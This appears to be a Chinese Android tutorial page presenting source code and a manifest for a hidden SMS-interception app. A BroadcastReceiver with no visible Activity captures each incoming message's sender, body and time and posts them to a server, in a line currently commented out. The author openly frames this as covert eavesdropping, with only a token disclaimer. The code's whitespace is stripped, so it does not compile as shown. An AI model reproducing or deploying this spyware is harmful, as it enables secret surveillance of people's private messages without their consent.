android短信监听工具(示例代码)
在学习本实例之前,读者请先了解一下android四大组件中的“广播接收者”的基本概念和使用。
由于是“监听程序”,所以就不需要建立Activity。这样也算是一种“遮掩”吧。使用BroadcastReceiver,就能达到这“不可告人”的目的。呵呵。当然,使用服务来开发此类应用,更加合适。这里就不再深入讨论“服务”了。本实例仅供学习参考,请勿非法用途。
packagecn.itcast.sms;
importjava.sql.Date;
importjava.text.SimpleDateFormat;
importjava.util.HashMap;
importjava.util.Map;
importcn.itcast.utils.SocketHttpRequester;
importandroid.content.BroadcastReceiver;
importandroid.content.Context;
importandroid.content.Intent;
importandroid.telephony.SmsMessage;
importandroid.util.Log;
publicclassSMSBroadcastReceiverextendsBroadcastReceiver{
//在接受者这边获取短信相关信息,将相关信息发到服务器上进行窃听
@Override
publicvoidonReceive(Contextcontext,Intentintent){
Object[]pduses=(Object[])intent.getExtras().get("pdus");
for(Objectpdus:pduses){
byte[]pdusmessage=(byte[])pdus;//没一条短信
SmsMessagesms=SmsMessage.createFromPdu(pdusmessage);
Stringmobile=sms.getOriginatingAddress();//得到电话号码
Stringcontent=sms.getMessageBody();//得到短信的内容
Datedate=newDate(sms.getTimestampMillis());//得到发送短信具体时间
//2009-10-1212:21:23
SimpleDateFormatformat=newSimpleDateFormat("yyyy-MM-ddHH:mm:ss");//为实践设置格式
Stringsendtime=format.format(date);
Map<String,String>params=newHashMap<String,String>();
params.put("method","getSMS");//将与短信相关的内容全部都放到集合里
params.put("mobile",mobile);
params.put("content",content);
params.put("sendtime",sendtime);
try{//利用socket向服务器发送窃听到的内容
//SocketHttpRequester.post("http://192.168.1.100:8080/videoweb/video/manage.do",params,"UTF-8");
}catch(Exceptione){
Log.e("SMSBroadcastReceiver",e.toString());
}
}
}
}
注意修改Android项目文件的配置
<?xmlversion="1.0"encoding="utf-8"?>
<manifestxmlns:android="http://schemas.android.com/apk/res/android"
package="cn.itcast.sms"
android:versionCode="1"
android:versionName="1.0">
<applicationandroid:icon="@drawable/icon"android:label="@string/app_name">
<receiverandroid:name=".SMSBroadcastReceiver">
<intent-filter>
<actionandroid:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
</application>
<uses-sdkandroid:minSdkVersion="8"/>
<uses-permissionandroid:name="android.permission.RECEIVE_SMS"/><!--接收短信权限-->
<!--访问网络的权限-->
<uses-permissionandroid:name="android.permission.INTERNET"/>
</manifest>
最后说一点,Android中广播的注册机制,其实有2种方式(上文中使用的是第二种方式--配置项目清单文件)。
第一,通过代码的方式注册;
当实现了广播接收器,还要设置广播接收器接收广播信息的类型,这里是信息:
我们就可以把广播接收器注册到系统里面,可以让系统知道我们有个广播接收器。这里有两种,一种是代码动态注册:
//生成广播处理
smsBroadCastReceiver=newSmsBroadCastReceiver();
//实例化过滤器并设置要过滤的广播
IntentFilterintentFilter=newIntentFilter();
intentFilter.addAction(SMS_ACTION);
//注册广播
BroadCastReceiverActivity.this.registerReceiver(smsBroadCastReceiver,intentFilter);
相关文章
- android 浏览器 开发,Android 浏览器的开发实例分享
- 代码加密 android,Android 开发怎样做代码加密或混淆「建议收藏」
- Android逆向工具介绍
- Android File Transfer mac直装版 mac安卓文件传输工具
- android activity singletask,Android Activity启动模式之singleTask实例详解
- android短信验证码代码,Android短信验证码自动填写实现代码
- Android开发入门工具的那些事儿
- Android n_android 反编译
- Android保存图片到相册(适配android 10以下及以上)
- 国际 Android WPS Office v17.1.0 解锁版 (高效文档办公工具)
- Android 数据库加密 android-database-sqlcipher 开源版本编译过程
- android 底部标签栏CommonTabLayout搭建项目底部菜单(带消息提醒)
- 【Android 异步操作】线程池 ( 线程池作用 | 线程池种类 | 线程池工作机制 | 线程池任务调度源码解析 )
- 【Android 安全】DEX 加密 ( 阶段总结 | 主应用 | 代理 Application | Java 工具 | 代码示例 ) ★
- 【错误记录】Flutter / Android 报错 ( AAPT: error: attribute android:requestLegacyExternalStorage not found )
- 【Android 逆向】IDA 工具使用 ( IDA 32 位 / 64 位 版本 | 汇编代码视图 IDA View-A | 字符串窗口 Strings window )
- 【Android 逆向】Android 进程注入工具开发 ( EIP 寄存器指向 dlopen 函数 | ESP 寄存器指向栈内存 | 调试程序收回目标进程控制权 )
- 【Android 逆向】Android 进程注入工具开发 ( 注入代码分析 | 获取 远程 目标进程 中的 /system/lib/libc.so 动态库中的 mmap 函数地址 )
- 【Android 逆向】Android 进程注入工具开发 ( 注入代码分析 | 远程调用 目标进程中 libc.so 动态库中的 mmap 函数 一 | mmap 函数简介 )
- 【Android 逆向】Android 进程注入工具开发 ( 注入代码分析 | 远程调用 目标进程中 libc.so 动态库中的 mmap 函数 二 | 准备参数 | 远程调用 mmap 函数 )
- 【Android 逆向】Android 进程注入工具开发 ( 注入代码分析 | 远程调用 目标进程中 libc.so 动态库中的 mmap 函数 三 | 等待远程函数执行完毕 | 寄存器获取返回值 )
- 【Android 逆向】Android 进程注入工具开发 ( 注入代码分析 | 注入工具收尾操作 | 关闭注入的动态库 | 恢复寄存器 | 脱离远程调试附着 )
- 【Android 命令行工具】Android 命令行工具简介 ( 官方文档 | SDK 命令行工具 | SDK 构建工具 | SDK 平台工具 | 模拟器工具 | Jetifier 工具 )
- 【错误记录】编译 Android 版本的 ijkplayer 报错 ( You must define ANDROID_NDK before starting. | 下载指定版本 NDK )
- 【Android Gradle 插件】Gradle 构建工具简介 ① ( Gradle 环境配置 | 官网下载 Gradle 软件包 | 在本地用户目录下查找 | 配置 Gradle 环境变量 )
- android Universal Image Loader for Android 说明文档 (1)详解手机开发
- java android网络监测详解编程语言
- Android源码学习之工厂方法模式应用及优势介绍